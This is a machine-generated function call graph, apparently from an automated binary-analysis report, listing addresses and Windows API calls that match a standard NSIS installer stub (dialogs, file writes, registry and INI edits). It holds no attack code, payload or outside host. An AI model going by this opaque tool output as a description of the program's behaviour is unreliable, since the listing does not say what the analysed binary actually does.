4351 405cb0 GetDlgItemTextW 4287->4351 4288->4287 4296 406831 18 API calls 4288->4296 4288->4347 4289 404516 4290 406064 5 API calls 4289->4290 4292 40451c 4290->4292 4294 40457d ShowWindow 4291->4294 4295 403ea0 5 API calls 4292->4295 4294->4299 4300 404521 GetDlgItem 4295->4300 4301 40465b SHBrowseForFolderW 4296->4301 4297 4046f5 4302 4067aa 18 API calls 4297->4302 4298 403df6 8 API calls 4303 404873 4298->4303 4304 4045a5 SetWindowTextW 4299->4304 4308 405d85 4 API calls 4299->4308 4305 40452f IsDlgButtonChecked 4300->4305 4300->4347 4301->4287 4307 404673 CoTaskMemFree 4301->4307 4312 4046fb 4302->4312 4306 403d6b 19 API calls 4304->4306 4305->4283 4310 4045c3 4306->4310 4311 40674e 3 API calls 4307->4311 4309 40459b 4308->4309 4309->4304 4316 40674e 3 API calls 4309->4316 4313 403d6b 19 API calls 4310->4313 4314 404680 4311->4314 4352 406035 lstrcpynW 4312->4352 4317 4045ce 4313->4317 4318 4046b7 SetDlgItemTextW 4314->4318 4323 406831 18 API calls 4314->4323 4316->4304 4350 403dc4 SendMessageW 4317->4350 4318->4287 4319 404712 4321 406328 3 API calls 4319->4321 4330 40471a 4321->4330 4322 4045d6 4324 406328 3 API calls 4322->4324 4325 40469f lstrcmpiW 4323->4325 4324->4288 4325->4318 4328 4046b0 lstrcatW 4325->4328 4326 40475c 4353 406035 lstrcpynW 4326->4353 4328->4318 4329 404765 4331 405d85 4 API calls 4329->4331 4330->4326 4334 40677d 2 API calls 4330->4334 4336 4047b1 4330->4336 4332 40476b GetDiskFreeSpaceW 4331->4332 4335 40478f MulDiv 4332->4335 4332->4336 4334->4330 4335->4336 4337 40480e 4336->4337 4354 4043d9 4336->4354 4338 404831 4337->4338 4340 40141d 80 API calls 4337->4340 4362 403db1 KiUserCallbackDispatcher 4338->4362 4340->4338 4341 4047ff 4343 404810 SetDlgItemTextW 4341->4343 4344 404804 4341->4344 4343->4337 4346 4043d9 21 API calls 4344->4346 4345 40484d 4345->4347 4363 403d8d 4345->4363 4346->4337 4347->4298 4349->4289 4350->4322 4351->4297 4352->4319 4353->4329 4355 4043f9 4354->4355 4356 406831 18 API calls 4355->4356 4357 404439 4356->4357 4358 406831 18 API calls 4357->4358 4359 404444 4358->4359 4360 406831 18 API calls 4359->4360 4361 404454 lstrlenW wsprintfW SetDlgItemTextW 4360->4361 4361->4341 4362->4345 4364 403da0 SendMessageW 4363->4364 4365 403d9b 4363->4365 4364->4347 4365->4364 4366 401dd3 4367 401446 18 API calls 4366->4367 4368 401dda 4367->4368 4369 401446 18 API calls 4368->4369 4370 4018d3 4369->4370 4371 402e55 4372 40145c 18 API calls 4371->4372 4373 402e63 4372->4373 4374 402e79 4373->4374 4375 40145c 18 API calls 4373->4375 4376 405e5c 2 API calls 4374->4376 4375->4374 4377 402e7f 4376->4377 4401 405e7c GetFileAttributesW CreateFileW 4377->4401 4379 402e8c 4380 402f35 4379->4380 4381 402e98 GlobalAlloc 4379->4381 4384 4062cf 11 API calls 4380->4384 4382 402eb1 4381->4382 4383 402f2c CloseHandle 4381->4383 4402 403368 SetFilePointer 4382->4402 4383->4380 4386 402f45 4384->4386 4388 402f50 DeleteFileW 4386->4388 4389 402f63 4386->4389 4387 402eb7 4390 403336 ReadFile 4387->4390 4388->4389 4403 401435 4389->4403 4392 402ec0 GlobalAlloc 4390->4392 4393 402ed0 4392->4393 4394 402f04 WriteFile GlobalFree 4392->4394 4396 40337f 33 API calls 4393->4396 4395 40337f 33 API calls 4394->4395 4397 402f29 4395->4397 4400 402edd 4396->4400 4397->4383 4399 402efb GlobalFree 4399->4394 4400->4399 4401->4379 4402->4387 4404 404f9e 25 API calls 4403->4404 4405 401443 4404->4405 4406 401cd5 4407 401446 18 API calls 4406->4407 4408 401cdd 4407->4408 4409 401446 18 API calls 4408->4409 4410 401ce8 4409->4410 4411 40145c 18 API calls 4410->4411 4412 401cf1 4411->4412 4413 401d07 lstrlenW 4412->4413 4414 401d43 4412->4414 4415 401d11 4413->4415 4415->4414 4419 406035 lstrcpynW 4415->4419 4417 401d2c 4417->4414 4418 401d39 lstrlenW 4417->4418 4418->4414 4419->4417 4420 402cd7 4421 401446 18 API calls 4420->4421 4423 402c64 4421->4423 4422 402d17 ReadFile 4422->4423 4423->4420 4423->4422 4424 402d99 4423->4424 4425 402dd8 4426 4030e3 4425->4426 4427 402ddf 4425->4427 4428 402de5 FindClose 4427->4428 4428->4426 4429 401d5c 4430 40145c 18 API calls 4429->4430 4431 401d63 4430->4431 4432 40145c 18 API calls 4431->4432 4433 401d6c 4432->4433 4434 401d73 lstrcmpiW 4433->4434 4435 401d86 lstrcmpW 4433->4435 4436 401d79 4434->4436 4435->4436 4437 401c99 4435->4437 4436->4435 4436->4437 4438 4027e3 4439 4027e9 4438->4439 4440 4027f2 4439->4440 4441 402836 4439->4441 4454 401553 4440->4454 4442 40145c 18 API calls 4441->4442 4444 40283d 4442->4444 4446 4062cf 11 API calls 4444->4446 4445 4027f9 4447 40145c 18 API calls 4445->4447 4451 401a13 4445->4451 4448 40284d 4446->4448 4449 40280a RegDeleteValueW 4447->4449 4458 40149d RegOpenKeyExW 4448->4458 4450 4062cf 11 API calls 4449->4450 4453 40282a RegCloseKey 4450->4453 4453->4451 4455 401563 4454->4455 4456 40145c 18 API calls 4455->4456 4457 401589 RegOpenKeyExW 4456->4457 4457->4445 4461 4014c9 4458->4461 4466 401515 4458->4466 4459 4014ef RegEnumKeyW 4460 401501 RegCloseKey 4459->4460 4459->4461 4463 406328 3 API calls 4460->4463 4461->4459 4461->4460 4462 401526 RegCloseKey 4461->4462 4464 40149d 3 API calls 4461->4464 4462->4466 4465 401511 4463->4465 4464->4461 4465->4466 4467 401541 RegDeleteKeyW 4465->4467 4466->4451 4467->4466 4468 4040e4 4469 4040ff 4468->4469 4475 40422d 4468->4475 4471 40413a 4469->4471 4499 403ff6 WideCharToMultiByte 4469->4499 4470 404298 4472 40436a 4470->4472 4473 4042a2 GetDlgItem 4470->4473 4479 403d6b 19 API calls 4471->4479 4480 403df6 8 API calls 4472->4480 4476 40432b 4473->4476 4477 4042bc 4473->4477 4475->4470 4475->4472 4478 404267 GetDlgItem SendMessageW 4475->4478 4476->4472 4481 40433d 4476->4481 4477->4476 4485 4042e2 6 API calls 4477->4485 4504 403db1 KiUserCallbackDispatcher 4478->4504 4483 40417a 4479->4483 4484 404365 4480->4484 4486 404353 4481->4486 4487 404343 SendMessageW 4481->4487 4489 403d6b 19 API calls 4483->4489 4485->4476 4486->4484 4490 404359 SendMessageW 4486->4490 4487->4486 4488 404293 4491 403d8d SendMessageW 4488->4491 4492 404187 CheckDlgButton 4489->4492 4490->4484 4491->4470 4502 403db1 KiUserCallbackDispatcher 4492->4502 4494 4041a5 GetDlgItem 4503 403dc4 SendMessageW 4494->4503 4496 4041bb SendMessageW 4497 4041e1 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 4496->4497 4498 4041d8 GetSysColor 4496->4498 4497->4484 4498->4497 4500 404033 4499->4500 4501 404015 GlobalAlloc WideCharToMultiByte 4499->4501 4500->4471 4501->4500 4502->4494 4503->4496 4504->4488 4505 402ae4 4506 402aeb 4505->4506 4507 4030e3 4505->4507 4508 402af2 CloseHandle 4506->4508 4508->4507 4509 402065 4510 401446 18 API calls 4509->4510 4511 40206d 4510->4511 4512 401446 18 API calls 4511->4512 4513 402076 GetDlgItem 4512->4513 4514 4030dc 4513->4514 4515 4030e3 4514->4515 4517 405f7d wsprintfW 4514->4517 4517->4515 4518 402665 4519 40145c 18 API calls 4518->4519 4520 40266b 4519->4520 4521 40145c 18 API calls 4520->4521 4522 402674 4521->4522 4523 40145c 18 API calls 4522->4523 4524 40267d 4523->4524 4525 4062cf 11 API calls 4524->4525 4526 40268c 4525->4526 4527 406301 2 API calls 4526->4527 4528 402695 4527->4528 4529 4026a6 lstrlenW lstrlenW 4528->4529 4531 404f9e 25 API calls 4528->4531 4533 4030e3 4528->4533 4530 404f9e 25 API calls 4529->4530 4532 4026e8 SHFileOperationW 4530->4532 4531->4528 4532->4528 4532->4533 4534 401c69 4535 40145c 18 API calls 4534->4535 4536 401c70 4535->4536 4537 4062cf 11 API calls 4536->4537 4538 401c80 4537->4538 4539 405ccc MessageBoxIndirectW 4538->4539 4540 401a13 4539->4540 4541 402f6e 4542 402f72 4541->4542 4543 402fae 4541->4543 4545 4062cf 11 API calls 4542->4545 4544 40145c 18 API calls 4543->4544 4551 402f9d 4544->4551 4546 402f7d 4545->4546 4547 4062cf 11 API calls 4546->4547 4548 402f90 4547->4548 4549 402fa2 4548->4549 4550 402f98 4548->4550 4553 406113 9 API calls 4549->4553 4552 403ea0 5 API calls 4550->4552 4552->4551 4553->4551 4554 4023f0 4555 402403 4554->4555 4556 4024da 4554->4556 4557 40145c 18 API calls 4555->4557 4558 404f9e 25 API calls 4556->4558 4559 40240a 4557->4559 4562 4024f1 4558->4562 4560 40145c 18 API calls 4559->4560 4561 402413 4560->4561 4563 402429 LoadLibraryExW 4561->4563 4564 40241b GetModuleHandleW 4561->4564 4565 4024ce 4563->4565 4566 40243e 4563->4566 4564->4563 4564->4566 4568 404f9e 25 API calls 4565->4568 4578 406391 GlobalAlloc WideCharToMultiByte 4566->4578 4568->4556 4569 402449 4570 40248c 4569->4570 4571 40244f 4569->4571 4572 404f9e 25 API calls 4570->4572 4573 401435 25 API calls 4571->4573 4576 40245f 4571->4576 4574 402496 4572->4574 4573->4576 4575 4062cf 11 API calls 4574->4575 4575->4576 4576->4562 4577 4024c0 FreeLibrary 4576->4577 4577->4562 4579 4063c9 GlobalFree 4578->4579 4580 4063bc GetProcAddress 4578->4580 4579->4569 4580->4579 3417 402175 3427 401446 3417->3427 3419 40217c 3420 401446 18 API calls 3419->3420 3421 402186 3420->3421 3422 402197 3421->3422 3425 4062cf 11 API calls 3421->3425 3423 4021aa EnableWindow 3422->3423 3424 40219f ShowWindow 3422->3424 3426 4030e3 3423->3426 3424->3426 3425->3422 3428 406831 18 API calls 3427->3428 3429 401455 3428->3429 3429->3419 4581 4048f8 4582 404906 4581->4582 4583 40491d 4581->4583 4584 40490c 4582->4584 4599 404986 4582->4599 4585 40492b IsWindowVisible 4583->4585 4591 404942 4583->4591 4586 403ddb SendMessageW 4584->4586 4588 404938 4585->4588 4585->4599 4589 404916 4586->4589 4587 40498c CallWindowProcW 4587->4589 4600 40487a SendMessageW 4588->4600 4591->4587 4605 406035 lstrcpynW 4591->4605 4593 404971 4606 405f7d wsprintfW 4593->4606 4595 404978 4596 40141d 80 API calls 4595->4596 4597 40497f 4596->4597 4607 406035 lstrcpynW 4597->4607 4599->4587 4601 4048d7 SendMessageW 4600->4601 4602 40489d GetMessagePos ScreenToClient SendMessageW 4600->4602 4604 4048cf 4601->4604 4603 4048d4 4602->4603 4602->4604 4603->4601 4604->4591 4605->4593 4606->4595 4607->4599 3722 4050f9 3723 4052c1 3722->3723 3724 40511a GetDlgItem GetDlgItem GetDlgItem 3722->3724 3725 4052f2 3723->3725 3726 4052ca GetDlgItem CreateThread CloseHandle 3723->3726 3771 403dc4 SendMessageW 3724->3771 3728 405320 3725->3728 3730 405342 3725->3730 3731 40530c ShowWindow ShowWindow 3725->3731 3726->3725 3774 405073 OleInitialize 3726->3774 3732 40537e 3728->3732 3734 405331 3728->3734 3735 405357 ShowWindow 3728->3735 3729 40518e 3741 406831 18 API calls 3729->3741 3736 403df6 8 API calls 3730->3736 3773 403dc4 SendMessageW 3731->3773 3732->3730 3737 405389 SendMessageW 3732->3737 3738 403d44 SendMessageW 3734->3738 3739 405377 3735->3739 3740 405369 3735->3740 3746 4052ba 3736->3746 3745 4053a2 CreatePopupMenu 3737->3745 3737->3746 3738->3730 3744 403d44 SendMessageW 3739->3744 3742 404f9e 25 API calls 3740->3742 3743 4051ad 3741->3743 3742->3739 3747 4062cf 11 API calls 3743->3747 3744->3732 3748 406831 18 API calls 3745->3748 3749 4051b8 GetClientRect GetSystemMetrics SendMessageW SendMessageW 3747->3749 3750 4053b2 AppendMenuW 3748->3750 3751 405203 SendMessageW SendMessageW 3749->3751 3752 40521f 3749->3752 3753 4053c5 GetWindowRect 3750->3753 3754 4053d8 3750->3754 3751->3752 3755 405232 3752->3755 3756 405224 SendMessageW 3752->3756 3757 4053df TrackPopupMenu 3753->3757 3754->3757 3758 403d6b 19 API calls 3755->3758 3756->3755 3757->3746 3759 4053fd 3757->3759 3760 405242 3758->3760 3761 405419 SendMessageW 3759->3761 3762 40524b ShowWindow 3760->3762 3763 40527f GetDlgItem SendMessageW 3760->3763 3761->3761 3764 405436 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 3761->3764 3765 405261 ShowWindow 3762->3765 3766 40526e 3762->3766 3763->3746 3767 4052a2 SendMessageW SendMessageW 3763->3767 3768 40545b SendMessageW 3764->3768 3765->3766 3772 403dc4 SendMessageW 3766->3772 3767->3746 3768->3768 3769 405486 GlobalUnlock SetClipboardData CloseClipboard 3768->3769 3769->3746 3771->3729 3772->3763 3773->3728 3775 403ddb SendMessageW 3774->3775 3779 405096 3775->3779 3776 403ddb SendMessageW 3777 4050d1 OleUninitialize 3776->3777 3778 4062cf 11 API calls 3778->3779 3779->3778 3780 40139d 80 API calls 3779->3780 3781 4050c1 3779->3781 3780->3779 3781->3776 4608 4020f9 GetDC GetDeviceCaps 4609 401446 18 API calls 4608->4609 4610 402116 MulDiv 4609->4610 4611 401446 18 API calls 4610->4611 4612 40212c 4611->4612 4613 406831 18 API calls 4612->4613 4614 402165 CreateFontIndirectW 4613->4614 4615 4030dc 4614->4615 4616 4030e3 4615->4616 4618 405f7d wsprintfW 4615->4618 4618->4616 4619 4024fb 4620 40145c 18 API calls 4619->4620 4621 402502 4620->4621 4622 40145c 18 API calls 4621->4622 4623 40250c 4622->4623 4624 40145c 18 API calls 4623->4624 4625 402515 4624->4625 4626 40145c 18 API calls 4625->4626 4627 40251f 4626->4627 4628 40145c 18 API calls 4627->4628 4629 402529 4628->4629 4630 40253d 4629->4630 4631 40145c 18 API calls 4629->4631 4632 4062cf 11 API calls 4630->4632 4631->4630 4633 40256a CoCreateInstance 4632->4633 4634 40258c 4633->4634 4635 4026fc 4637 402708 4635->4637 4638 401ee4 4635->4638 4636 406831 18 API calls 4636->4638 4638->4635 4638->4636 3782 4019fd 3783 40145c 18 API calls 3782->3783 3784 401a04 3783->3784 3787 405eab 3784->3787 3788 405eb8 GetTickCount GetTempFileNameW 3787->3788 3789 401a0b 3788->3789 3790 405eee 3788->3790 3790->3788 3790->3789 4639 4022fd 4640 40145c 18 API calls 4639->4640 4641 402304 GetFileVersionInfoSizeW 4640->4641 4642 4030e3 4641->4642 4643 40232b GlobalAlloc 4641->4643 4643->4642 4644 40233f GetFileVersionInfoW 4643->4644 4645 402350 VerQueryValueW 4644->4645 4646 402381 GlobalFree 4644->4646 4645->4646 4647 402369 4645->4647 4646->4642 4652 405f7d wsprintfW 4647->4652 4650 402375 4653 405f7d wsprintfW 4650->4653 4652->4650 4653->4646 4654 402afd 4655 40145c 18 API calls 4654->4655 4656 402b04 4655->4656 4661 405e7c GetFileAttributesW CreateFileW 4656->4661 4658 402b10 4659 4030e3 4658->4659 4662 405f7d wsprintfW 4658->4662 4661->4658 4662->4659 4663 4029ff 4664 401553 19 API calls 4663->4664 4665 402a09 4664->4665 4666 40145c 18 API calls 4665->4666 4667 402a12 4666->4667 4668 402a1f RegQueryValueExW 4667->4668 4672 401a13 4667->4672 4669 402a45 4668->4669 4670 402a3f 4668->4670 4671 4029e4 RegCloseKey 4669->4671 4669->4672 4670->4669 4674 405f7d wsprintfW 4670->4674 4671->4672 4674->4669 4675 401000 4676 401037 BeginPaint GetClientRect 4675->4676 4677 40100c DefWindowProcW 4675->4677 4679 4010fc 4676->4679 4680 401182 4677->4680 4681 401073 CreateBrushIndirect FillRect DeleteObject 4679->4681 4682 401105 4679->4682 4681->4679 4683 401170 EndPaint 4682->4683 4684 40110b CreateFontIndirectW 4682->4684 4683->4680 4684->4683 4685 40111b 6 API calls 4684->4685 4685->4683 4686 401f80 4687 401446 18 API calls 4686->4687 4688 401f88 4687->4688 4689 401446 18 API calls 4688->4689 4690 401f93 4689->4690 4691 401fa3 4690->4691 4692 40145c 18 API calls 4690->4692 4693 401fb3 4691->4693 4694 40145c 18 API calls 4691->4694 4692->4691 4695 402006 4693->4695 4696 401fbc 4693->4696 4694->4693 4697 40145c 18 API calls 4695->4697 4698 401446 18 API calls 4696->4698 4699 40200d 4697->4699 4700 401fc4 4698->4700 4702 40145c 18 API calls 4699->4702 4701 401446 18 API calls 4700->4701 4703 401fce 4701->4703 4704 402016 FindWindowExW 4702->4704 4705 401ff6 SendMessageW 4703->4705 4706 401fd8 SendMessageTimeoutW 4703->4706 4708 402036 4704->4708 4705->4708 4706->4708 4707 4030e3 4708->4707 4710 405f7d wsprintfW 4708->4710 4710->4707 4711 402880 4712 402884 4711->4712 4713 40145c 18 API calls 4712->4713 4714 4028a7 4713->4714 4715 40145c 18 API calls 4714->4715 4716 4028b1 4715->4716 4717 4028ba RegCreateKeyExW 4716->4717 4718 4028e8 4717->4718 4723 4029ef 4717->4723 4719 402934 4718->4719 4721 40145c 18 API calls 4718->4721 4720 402963 4719->4720 4722 401446 18 API calls 4719->4722 4724 4029ae RegSetValueExW 4720->4724 4727 40337f 33 API calls 4720->4727 4725 4028fc lstrlenW 4721->4725 4726 402947 4722->4726 4730 4029c6 RegCloseKey 4724->4730 4731 4029cb 4724->4731 4728 402918 4725->4728 4729 40292a 4725->4729 4733 4062cf 11 API calls 4726->4733 4734 40297b 4727->4734 4735 4062cf 11 API calls 4728->4735 4736 4062cf 11 API calls 4729->4736 4730->4723 4732 4062cf 11 API calls 4731->4732 4732->4730 4733->4720 4742 406250 4734->4742 4739 402922 4735->4739 4736->4719 4739->4724 4741 4062cf 11 API calls 4741->4739 4743 406273 4742->4743 4744 4062b6 4743->4744 4745 406288 wsprintfW 4743->4745 4746 402991 4744->4746 4747 4062bf lstrcatW 4744->4747 4745->4744 4745->4745 4746->4741 4747->4746 4748 403d02 4749 403d0d 4748->4749 4750 403d11 4749->4750 4751 403d14 GlobalAlloc 4749->4751 4751->4750 4752 402082 4753 401446 18 API calls 4752->4753 4754 402093 SetWindowLongW 4753->4754 4755 4030e3 4754->4755 4756 402a84 4757 401553 19 API calls 4756->4757 4758 402a8e 4757->4758 4759 401446 18 API calls 4758->4759 4760 402a98 4759->4760 4761 401a13 4760->4761 4762 402ab2 RegEnumKeyW 4760->4762 4763 402abe RegEnumValueW 4760->4763 4764 402a7e 4762->4764 4763->4761 4763->4764 4764->4761 4765 4029e4 RegCloseKey 4764->4765 4765->4761 4766 402c8a 4767 402ca2 4766->4767 4768 402c8f 4766->4768 4770 40145c 18 API calls 4767->4770 4769 401446 18 API calls 4768->4769 4772 402c97 4769->4772 4771 402ca9 lstrlenW 4770->4771 4771->4772 4773 401a13 4772->4773 4774 402ccb WriteFile 4772->4774 4774->4773 4775 401d8e 4776 40145c 18 API calls 4775->4776 4777 401d95 ExpandEnvironmentStringsW 4776->4777 4778 401da8 4777->4778 4779 401db9 4777->4779 4778->4779 4780 401dad lstrcmpW 4778->4780 4780->4779 4781 401e0f 4782 401446 18 API calls 4781->4782 4783 401e17 4782->4783 4784 401446 18 API calls 4783->4784 4785 401e21 4784->4785 4786 4030e3 4785->4786 4788 405f7d wsprintfW 4785->4788 4788->4786 4789 40438f 4790 4043c8 4789->4790 4791 40439f 4789->4791 4792 403df6 8 API calls 4790->4792 4793 403d6b 19 API calls 4791->4793 4795 4043d4 4792->4795 4794 4043ac SetDlgItemTextW 4793->4794 4794->4790 4796 403f90 4797 403fa0 4796->4797 4798 403fbc 4796->4798 4807 405cb0 GetDlgItemTextW 4797->4807 4800 403fc2 SHGetPathFromIDListW 4798->4800 4801 403fef 4798->4801 4803 403fd2 4800->4803 4806 403fd9 SendMessageW 4800->4806 4802 403fad SendMessageW 4802->4798 4804 40141d 80 API calls 4803->4804 4804->4806 4806->4801 4807->4802 4808 402392 4809 40145c 18 API calls 4808->4809 4810 402399 4809->4810 4813 407224 4810->4813 4814 406efe 25 API calls 4813->4814 4815 407244 4814->4815 4816 4023a7 4815->4816 4817 40724e lstrcpynW lstrcmpW 4815->4817 4818 407280 4817->4818 4819 407286 lstrcpynW 4817->4819 4818->4819 4819->4816 3338 402713 3353 406035 lstrcpynW 3338->3353 3340 40272c 3354 406035 lstrcpynW 3340->3354 3342 402738 3343 402743 3342->3343 3344 40145c 18 API calls 3342->3344 3345 40145c 18 API calls 3343->3345 3347 402752 3343->3347 3344->3343 3345->3347 3348 40145c 18 API calls 3347->3348 3350 402761 3347->3350 3348->3350 3355 40145c 3350->3355 3353->3340 3354->3342 3363 406831 3355->3363 3358 401497 3360 4062cf lstrlenW wvsprintfW 3358->3360 3403 406113 3360->3403 3372 40683e 3363->3372 3364 406aab 3365 401488 3364->3365 3398 406035 lstrcpynW 3364->3398 3365->3358 3382 406064 3365->3382 3367 4068ff GetVersion 3377 40690c 3367->3377 3368 406a72 lstrlenW 3368->3372 3370 406831 10 API calls 3370->3368 3372->3364 3372->3367 3372->3368 3372->3370 3375 406064 5 API calls 3372->3375 3396 405f7d wsprintfW 3372->3396 3397 406035 lstrcpynW 3372->3397 3374 40697e GetSystemDirectoryW 3374->3377 3375->3372 3376 406991 GetWindowsDirectoryW 3376->3377 3377->3372 3377->3374 3377->3376 3378 406831 10 API calls 3377->3378 3379 406a0b lstrcatW 3377->3379 3380 4069c5 SHGetSpecialFolderLocation 3377->3380 3391 405eff RegOpenKeyExW 3377->3391 3378->3377 3379->3372 3380->3377 3381 4069dd SHGetPathFromIDListW CoTaskMemFree 3380->3381 3381->3377 3389 406071 3382->3389 3383 4060e7 3384 4060ed CharPrevW 3383->3384 3386 40610d 3383->3386 3384->3383 3385 4060da CharNextW 3385->3383 3385->3389 3386->3358 3388 4060c6 CharNextW 3388->3389 3389->3383 3389->3385 3389->3388 3390 4060d5 CharNextW 3389->3390 3399 405d32 3389->3399 3390->3385 3392 405f33 RegQueryValueExW 3391->3392 3393 405f78 3391->3393 3394 405f55 RegCloseKey 3392->3394 3393->3377 3394->3393 3396->3372 3397->3372 3398->3365 3400 405d38 3399->3400 3401 405d4e 3400->3401 3402 405d3f CharNextW 3400->3402 3401->3389 3402->3400 3404 40613c 3403->3404 3405 40611f 3403->3405 3407 4061b3 3404->3407 3408 406159 3404->3408 3409 40277f WritePrivateProfileStringW 3404->3409 3406 406129 CloseHandle 3405->3406 3405->3409 3406->3409 3407->3409 3410 4061bc lstrcatW lstrlenW WriteFile 3407->3410 3408->3410 3411 406162 GetFileAttributesW 3408->3411 3410->3409 3416 405e7c GetFileAttributesW CreateFileW 3411->3416 3413 40617e 3413->3409 3414 4061a8 SetFilePointer 3413->3414 3415 40618e WriteFile 3413->3415 3414->3407 3415->3414 3416->3413 4820 402797 4821 40145c 18 API calls 4820->4821 4822 4027ae 4821->4822 4823 40145c 18 API calls 4822->4823 4824 4027b7 4823->4824 4825 40145c 18 API calls 4824->4825 4826 4027c0 GetPrivateProfileStringW lstrcmpW 4825->4826 4827 401e9a 4828 40145c 18 API calls 4827->4828 4829 401ea1 4828->4829 4830 401446 18 API calls 4829->4830 4831 401eab wsprintfW 4830->4831 3791 401a1f 3792 40145c 18 API calls 3791->3792 3793 401a26 3792->3793 3794 4062cf 11 API calls 3793->3794 3795 401a49 3794->3795 3796 401a64 3795->3796 3797 401a5c 3795->3797 3866 406035 lstrcpynW 3796->3866 3865 406035 lstrcpynW 3797->3865 3800 401a6f 3867 40674e lstrlenW CharPrevW 3800->3867 3801 401a62 3804 406064 5 API calls 3801->3804 3835 401a81 3804->3835 3805 406301 2 API calls 3805->3835 3808 401a98 CompareFileTime 3808->3835 3809 401ba9 3810 404f9e 25 API calls 3809->3810 3812 401bb3 3810->3812 3811 401b5d 3813 404f9e 25 API calls 3811->3813 3844 40337f 3812->3844 3815 401b70 3813->3815 3819 4062cf 11 API calls 3815->3819 3817 406035 lstrcpynW 3817->3835 3818 4062cf 11 API calls 3820 401bda 3818->3820 3824 401b8b 3819->3824 3821 401be9 SetFileTime 3820->3821 3822 401bf8 CloseHandle 3820->3822 3821->3822 3822->3824 3825 401c09 3822->3825 3823 406831 18 API calls 3823->3835 3826 401c21 3825->3826 3827 401c0e 3825->3827 3828 406831 18 API calls 3826->3828 3829 406831 18 API calls 3827->3829 3830 401c29 3828->3830 3832 401c16 lstrcatW 3829->3832 3833 4062cf 11 API calls 3830->3833 3832->3830 3836 401c34 3833->3836 3834 401b50 3838 401b93 3834->3838 3839 401b53 3834->3839 3835->3805 3835->3808 3835->3809 3835->3811 3835->3817 3835->3823 3835->3834 3837 4062cf 11 API calls 3835->3837 3843 405e7c GetFileAttributesW CreateFileW 3835->3843 3870 405e5c GetFileAttributesW 3835->3870 3873 405ccc 3835->3873 3840 405ccc MessageBoxIndirectW 3836->3840 3837->3835 3841 4062cf 11 API calls 3838->3841 3842 4062cf 11 API calls 3839->3842 3840->3824 3841->3824 3842->3811 3843->3835 3845 40339a 3844->3845 3846 4033c7 3845->3846 3879 403368 SetFilePointer 3845->3879 3877 403336 ReadFile 3846->3877 3850 401bc6 3850->3818 3851 403546 3853 40354a 3851->3853 3854 40356e 3851->3854 3852 4033eb GetTickCount 3852->3850 3857 403438 3852->3857 3855 403336 ReadFile 3853->3855 3854->3850 3858 403336 ReadFile 3854->3858 3859 40358d WriteFile 3854->3859 3855->3850 3856 403336 ReadFile 3856->3857 3857->3850 3857->3856 3861 40348a GetTickCount 3857->3861 3862 4034af MulDiv wsprintfW 3857->3862 3864 4034f3 WriteFile 3857->3864 3858->3854 3859->3850 3860 4035a1 3859->3860 3860->3850 3860->3854 3861->3857 3863 404f9e 25 API calls 3862->3863 3863->3857 3864->3850 3864->3857 3865->3801 3866->3800 3868 401a75 lstrcatW 3867->3868 3869 40676b lstrcatW 3867->3869 3868->3801 3869->3868 3871 405e79 3870->3871 3872 405e6b SetFileAttributesW 3870->3872 3871->3835 3872->3871 3874 405ce1 3873->3874 3875 405d2f 3874->3875 3876 405cf7 MessageBoxIndirectW 3874->3876 3875->3835 3876->3875 3878 403357 3877->3878 3878->3850 3878->3851 3878->3852 3879->3846 4832 40209f GetDlgItem GetClientRect 4833 40145c 18 API calls 4832->4833 4834 4020cf LoadImageW SendMessageW 4833->4834 4835 4030e3 4834->4835 4836 4020ed DeleteObject 4834->4836 4836->4835 4837 402b9f 4838 401446 18 API calls 4837->4838 4842 402ba7 4838->4842 4839 402c4a 4840 402bdf ReadFile 4840->4842 4849 402c3d 4840->4849 4841 401446 18 API calls 4841->4849 4842->4839 4842->4840 4843 402c06 MultiByteToWideChar 4842->4843 4844 402c3f 4842->4844 4845 402c4f 4842->4845 4842->4849 4843->4842 4843->4845 4850 405f7d wsprintfW 4844->4850 4847 402c6b SetFilePointer 4845->4847 4845->4849 4847->4849 4848 402d17 ReadFile 4848->4849 4849->4839 4849->4841 4849->4848 4850->4839 4851 402b23 GlobalAlloc 4852 402b39 4851->4852 4853 402b4b 4851->4853 4854 401446 18 API calls 4852->4854 4855 40145c 18 API calls 4853->4855 4857 402b41 4854->4857 4856 402b52 WideCharToMultiByte lstrlenA 4855->4856 4856->4857 4858 402b84 WriteFile 4857->4858 4859 402b93 4857->4859 4858->4859 4860 402384 GlobalFree 4858->4860 4860->4859 4862 4040a3 4863 4040b0 lstrcpynW lstrlenW 4862->4863 4864 4040ad 4862->4864 4864->4863 3430 4054a5 3431 4055f9 3430->3431 3432 4054bd 3430->3432 3434 40564a 3431->3434 3435 40560a GetDlgItem GetDlgItem 3431->3435 3432->3431 3433 4054c9 3432->3433 3437 4054d4 SetWindowPos 3433->3437 3438 4054e7 3433->3438 3436 4056a4 3434->3436 3444 40139d 80 API calls 3434->3444 3439 403d6b 19 API calls 3435->3439 3445 4055f4 3436->3445 3500 403ddb 3436->3500 3437->3438 3441 405504 3438->3441 3442 4054ec ShowWindow 3438->3442 3443 405634 SetClassLongW 3439->3443 3446 405526 3441->3446 3447 40550c DestroyWindow 3441->3447 3442->3441 3448 40141d 80 API calls 3443->3448 3451 40567c 3444->3451 3449 40552b SetWindowLongW 3446->3449 3450 40553c 3446->3450 3452 405908 3447->3452 3448->3434 3449->3445 3453 4055e5 3450->3453 3454 405548 GetDlgItem 3450->3454 3451->3436 3455 405680 SendMessageW 3451->3455 3452->3445 3461 405939 ShowWindow 3452->3461 3520 403df6 3453->3520 3458 405578 3454->3458 3459 40555b SendMessageW IsWindowEnabled 3454->3459 3455->3445 3456 40141d 80 API calls 3469 4056b6 3456->3469 3457 40590a DestroyWindow KiUserCallbackDispatcher 3457->3452 3463 405585 3458->3463 3466 4055cc SendMessageW 3458->3466 3467 405598 3458->3467 3475 40557d 3458->3475 3459->3445 3459->3458 3461->3445 3462 406831 18 API calls 3462->3469 3463->3466 3463->3475 3465 403d6b 19 API calls 3465->3469 3466->3453 3470 4055a0 3467->3470 3471 4055b5 3467->3471 3468 4055b3 3468->3453 3469->3445 3469->3456 3469->3457 3469->3462 3469->3465 3491 40584a DestroyWindow 3469->3491 3503 403d6b 3469->3503 3514 40141d 3470->3514 3472 40141d 80 API calls 3471->3472 3474 4055bc 3472->3474 3474->3453 3474->3475 3517 403d44 3475->3517 3477 405731 GetDlgItem 3478 405746 3477->3478 3479 40574f ShowWindow KiUserCallbackDispatcher 3477->3479 3478->3479 3506 403db1 KiUserCallbackDispatcher 3479->3506 3481 405779 EnableWindow 3484 40578d 3481->3484 3482 405792 GetSystemMenu EnableMenuItem SendMessageW 3483 4057c2 SendMessageW 